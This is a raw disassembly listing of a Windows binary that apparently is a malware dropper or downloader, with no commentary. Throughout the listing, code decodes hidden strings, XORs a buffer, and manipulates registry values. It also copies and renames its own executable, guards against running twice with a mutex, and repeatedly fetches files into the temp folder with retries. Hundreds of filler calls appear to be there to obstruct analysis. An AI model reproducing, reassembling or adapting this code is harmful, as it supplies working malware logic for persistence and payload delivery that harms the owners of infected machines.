call ebp
lea edx, [esp + 0x280]
push edx
lea eax, [esp + 0xea0]
push esi
push eax
call fcn.00802610
add esp, 0xc
push 0
call ebp
push 0x816dfc
call fcn.00801c20
add esp, 4
lea edx, [esp + 0x348]
jmp 0x803f40
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x803f40
lea ecx, [esp + 0x14]
push ecx
push 0x816e08
call fcn.00801c20
add esp, 4
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x34c]
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x290]
push edx
push eax
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x4c]
push edx
push 0
lea eax, [esp + 0x350]
push eax
call ebx
push 0
mov esi, eax
call ebp
test esi, esi
je 0x804045
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp dword [esp + 0x6c], 0x2c00
jge 0x8040ec
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x348]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x38]
push edx
push 0xf003f
push 0
push str.Ob1__650___v
call fcn.00801c20
add esp, 4
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x280]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov edx, dword [esp + 0x38]
push edx
call edi
push 0
call ebp
jmp 0x8040f4
mov dword [esp + 0x24], 0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, 0x816f88
lea eax, [esp + 0xd98]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x804140
test dl, dl
je 0x80413c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x804140
add eax, 2
add ecx, 2
test dl, dl
jne 0x804120
xor eax, eax
jmp 0x804145
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x804153
cmp dword [esp + 0x24], eax
je 0x804c28
lea eax, [esp + 0x280]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804160
sub eax, edx
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileA]
je 0x8042ac
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x24]
push eax
push 0xf003f
push 0
push str.Ob1_r
call fcn.00801c20
add esp, 4
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
call ebp
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x280]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call ebp
push 0
call ebp
push 0x104
lea ecx, [esp + 0xea0]
push ecx
push 0x817058
call fcn.00801c20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x457
lea edx, [esp + 0xea0]
push edx
push 0x81707c
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x8cc]
push eax
call fcn.008079ed
add esp, 0x10
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x8c0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x8c0]
push edx
lea eax, [esp + 0x34c]
push eax
call ebx
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [esp + 0x20a]
movzx eax, word [esp + 0x208]
movzx ecx, word [esp + 0x206]
push edx
movzx edx, word [esp + 0x206]
push eax
movzx eax, word [esp + 0x208]
push ecx
push edx
push eax
push 0x8170a0
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0x464]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x280]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804360
sub eax, edx
jne 0x8043f4
push eax
push 1
push 0x8170f4
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x458]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x81710c
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
push 1
push 0x817138
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0x458]
push ecx
lea edx, [esp + 0x22c]
push edx
push 0x817150
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x81717c
call fcn.00801c20
add esp, 4
lea edx, [esp + 0xe9c]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x804414
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0xe9c]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x804430
mov ecx, dword [0x817194]
mov edx, dword [0x817198]
mov dword [eax], ecx
mov cl, byte [0x81719c]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
lea eax, [esp + 0xe9c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x804460
sub eax, edx
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor eax, eax
test esi, esi
jle 0x8044a0
jmp 0x804490
mov dl, byte [esp + 0x12]
xor byte [esp + eax + 0xe9c], dl
inc eax
cmp eax, esi
jl 0x804490
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x280]
push eax
lea ecx, [esp + 0xea0]
push esi
push ecx
call fcn.00802610
add esp, 0xc
push 0x104
lea edx, [esp + 0x34c]
push edx
push str.obG71020__.G
call fcn.00801c20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x8171e0
call fcn.00801c20
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x804515
lea edi, [esp + 0x348]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x804528
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x348]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x804546
mov ecx, dword [0x8171f0]
mov edx, dword [0x8171f4]
mov dword [eax], ecx
mov cl, byte [0x8171f8]
mov dword [eax + 4], edx
push 0
mov byte [eax + 8], cl
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call edi
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x348]
push ecx
lea edx, [esp + 0xea0]
push edx
call ebx
push 0
call ebp
push 0
push 1
push 0x8171fc
call fcn.00801c20
add esp, 4
push eax
push 0x817214
lea eax, [esp + 0x22c]
push eax
push 0x817220
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
push 1
push 0x81724c
call fcn.00801c20
add esp, 4
push eax
push 0x817264
lea ecx, [esp + 0x22c]
push ecx
push 0x817270
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
push 1
push 0x81729c
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x28c]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x8172c8
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
push 1
push str.jb._r
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0x28c]
push ecx
lea edx, [esp + 0x22c]
push edx
push 0x817320
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
push 0x81734c
call fcn.00801c20
add esp, 4
push eax
push 0x817364
lea eax, [esp + 0x22c]
push eax
push 0x81736c
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
push 0x817398
call fcn.00801c20
add esp, 4
push eax
push 0x8173b0
lea ecx, [esp + 0x22c]
push ecx
push 0x8173b8
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
push 0x8173e4
call fcn.00801c20
add esp, 4
push eax
push 0x8173fc
lea edx, [esp + 0x22c]
push edx
push 0x817400
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
push 0x81742c
call fcn.00801c20
add esp, 4
push eax
push str.4jb1_r
lea eax, [esp + 0x22c]
push eax
push 0x817448
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
lea ecx, [esp + 0x288]
push ecx
lea edx, [esp + 0x354]
push edx
push 0x817474
call fcn.00801c20
add esp, 4
push eax
push 0x817490
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
lea eax, [esp + 0x288]
push eax
lea ecx, [esp + 0x354]
push ecx
push 0x817540
call fcn.00801c20
add esp, 4
push eax
push str.Kb1_r
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
lea edx, [esp + 0x348]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x804b6b
cmp dword [esp + 0x20], 1
jne 0x804b6b
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov eax, dword [esp + 0x30]
push eax
push 0x81d598
push 0x817608
push 0x817610
lea ecx, [esp + 0x2f4]
push ecx
push 0x817618
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0xeb4]
push edx
call fcn.008079ed
add esp, 0x1c
push 0
call ebp
xor esi, esi
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x804964
inc esi
cmp esi, 1
jl 0x804931
push 0
call ebp
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call edi
push str.edyu.exe
lea eax, [esp + 0xea0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00814e4b
add esp, 8
test eax, eax
jne 0x8058a3
lea ecx, [esp + 0x21c]
push ecx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x8049c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x8058a3
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
mov dword [esp + 0x24], 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x817b1c
call fcn.00801c20
add esp, 4
mov edx, 0x81d490
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x804a52
lea edx, [esp + 0x21c]
push edx
push str.ib1_r
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x2280]
push eax
call fcn.008079ed
add esp, 0xc
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x227c]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x804b2a
push eax
call ebp
push 0
call ebp
lea eax, [esp + 0x1c]
push eax
push 0x81d490
lea ecx, [esp + 0x30]
push ecx
push 0
push 0x817b7c
mov dword [esp + 0x30], 0x104
call fcn.00801c20
mov edx, dword [esp + 0x28]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push edx
call esi
push 0
call ebp
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0xb30]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
push 0x817b98
mov dword [esp + 0x30], 0x64
call fcn.00801c20
add esp, 4
push eax
mov eax, dword [esp + 0x28]
push eax
call esi
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0xb2c]
lea eax, [esp + 0xc94]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x804e54
test dl, dl
je 0x804b64
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x804e54
add eax, 2
add ecx, 2
test dl, dl
jne 0x804b40
xor eax, eax
jmp 0x804e59
cmp dword [esp + 0x20], 0
jne 0x804968
push 0
call ebp
mov eax, dword [esp + 0x30]
push eax
push 0x81d598
push 0x817778
push 0x817780
lea ecx, [esp + 0x2f4]
push ecx
push 0x817788
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0xeb4]
push edx
call fcn.008079ed
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
jmp 0x804bd0
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x804c03
inc esi
cmp esi, 1
jl 0x804bd0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
jmp 0x804964
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x64
lea eax, [esp + 0xea0]
push eax
push 0
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0x817918
lea ecx, [esp + 0xea0]
push ecx
call ebx
push eax
call fcn.00814e4b
add esp, 8
test eax, eax
je 0x804d03
mov edx, dword [esp + 0x30]
push edx
push 0x81d598
push 0x817924
push 0x81792c
lea eax, [esp + 0x2f4]
push eax
push 0x817930
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0xeb4]
push ecx
call fcn.008079ed
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
mov edi, edi
push 0xf4240
push 0x7a120
push 1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xeb0]
push 0
push ecx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x804d03
inc esi
cmp esi, 1
jl 0x804cd0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call edi
push 0
call ebp
push 0x817ac0
lea eax, [esp + 0xea0]
push eax
call ebx
push eax
call fcn.00814e4b
add esp, 8
test eax, eax
je 0x804968
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x104
lea ecx, [esp + 0xea0]
push ecx
push str.dbG6_a
call fcn.00801c20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x457
lea edx, [esp + 0xea0]
push edx
push 0x817af0
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x354]
push eax
call fcn.008079ed
add esp, 0x10
push 0
call ebp
push 0
call ebp
push 0x64
lea ecx, [esp + 0xea0]
push ecx
push 0
call edi
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea edx, [esp + 0x348]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea eax, [esp + 0x348]
push eax
lea ecx, [esp + 0xea0]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x80587f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x804fb1
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x81d598
push 0x817bb0
push 0x817bb8
lea ecx, [esp + 0x2f0]
push ecx
push 0x817bc0
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
jmp 0x804ee0
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x7d0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x804f13
inc esi
cmp esi, 1
jl 0x804ee0
push 0
push 1
push 0x817cf8
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0xca0]
push eax
lea ecx, [esp + 0x22c]
push ecx
push 0x817d10
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
push 1
push 0x817d3c
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0xca0]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x817d54
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
mov dword [esp + 0x28], 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp dword [esp + 0x34], 1
jne 0x804ffb
push 0x817d80
jmp 0x805000
push 0x817d8c
call fcn.00801c20
mov ecx, dword [esp + 0x34]
add esp, 4
push eax
push str.1.0.0.12
push 0x81d490
push ecx
push 0x81d598
push 0x817dbc
push str.43b_n
lea edx, [esp + 0x300]
push edx
push 0x817dc8
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x7e0]
push eax
call fcn.008079ed
add esp, 0x28
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x817f18
call fcn.00801c20
add esp, 4
lea edx, [esp + 0xb90]
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x805080
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
lea esp, [esp]
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x7d0]
push 0
push eax
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x8050e3
inc esi
cmp esi, 3
jl 0x8050b0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp esi, 3
jge 0x80587f
mov esi, dword [esp + 0x20]
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x805110
sub eax, edx
je 0x80587f
push 0x817f24
call fcn.00801c20
push eax
push esi
call fcn.00807c9e
add esp, 0xc
mov esi, eax
push 0
mov dword [esp + 0x38], esi
call ebp
push 0
call ebp
mov ecx, esi
mov eax, 0x81d490
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x805168
test dl, dl
je 0x805164
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x805168
add eax, 2
add ecx, 2
test dl, dl
jne 0x805148
xor eax, eax
jmp 0x80516d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x80518d
push 0x817f34
call fcn.00801c20
push eax
push esi
call fcn.00814e4b
add esp, 0xc
test eax, eax
jne 0x805873
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x81d598
push 0x817f58
push 0x817f60
lea ecx, [esp + 0x2f0]
push ecx
push 0x817f68
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call fcn.008079ed
add esp, 0x18
xor esi, esi
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x7d0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x805203
inc esi
cmp esi, 1
jl 0x8051d0
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x8180a4
call fcn.00801c20
push eax
push 0
call fcn.00807c9e
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x80566e
push 0
call ebp
push 0x104
lea eax, [esp + 0x4b4]
push eax
push ebx
call fcn.008023e0
add esp, 0xc
call fcn.00807c7c
push eax
call fcn.00807c7c
push eax
call fcn.00807c7c
push eax
push 0x8180b4
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0xba0]
push ecx
call fcn.008079ed
add esp, 0x14
lea edx, [esp + 0x9c4]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0xb90]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x805298
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x8052b0
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x8052b0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
jmp 0x8052d0
mov cl, byte [esp + eax + 0x9c4]
mov byte [esp + eax + 0x8c0], cl
inc eax
test cl, cl
jne 0x8052d0
push 0
lea eax, [esp + 0x8c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x8180d8
call fcn.00801c20
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x805302
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x805315
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x4b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
lea edx, [esp + 0x44c]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x805340
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x805354
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x805370
sub eax, esi
sub ecx, eax
mov eax, ebx
mov byte [esp + ecx + 0x4b0], dl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x805387
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x8053a0
sub eax, esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
sub ecx, eax
mov byte [ecx + ebx], dl
lea edx, [esp + 0x4b0]
push edx
call esi
push ebx
call esi
lea eax, [esp + 0x4b0]
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x8053d0
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x8053e3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
jmp 0x805410
push 0xf4240
push 0x7a120
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x9d8]
push ecx
push ebx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x80543f
inc esi
cmp esi, 3
jl 0x805410
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp esi, 3
jl 0x8054fc
push 0x81d598
push 0x8180e8
push 0x8180f0
lea edx, [esp + 0x2f0]
push edx
push 0x8180f8
call fcn.00801c20
add esp, 4
push eax
lea eax, [esp + 0x7d0]
push eax
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
nop
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x7d0]
push 0
push eax
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x80564f
inc esi
cmp esi, 1
jl 0x8054c0
jmp 0x80564f
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x9cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
mov esi, eax
call ebp
test esi, esi
je 0x80564f
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp dword [esp + 0x6c], 0x2c00
jle 0x80564f
xor eax, eax
jmp 0x805550
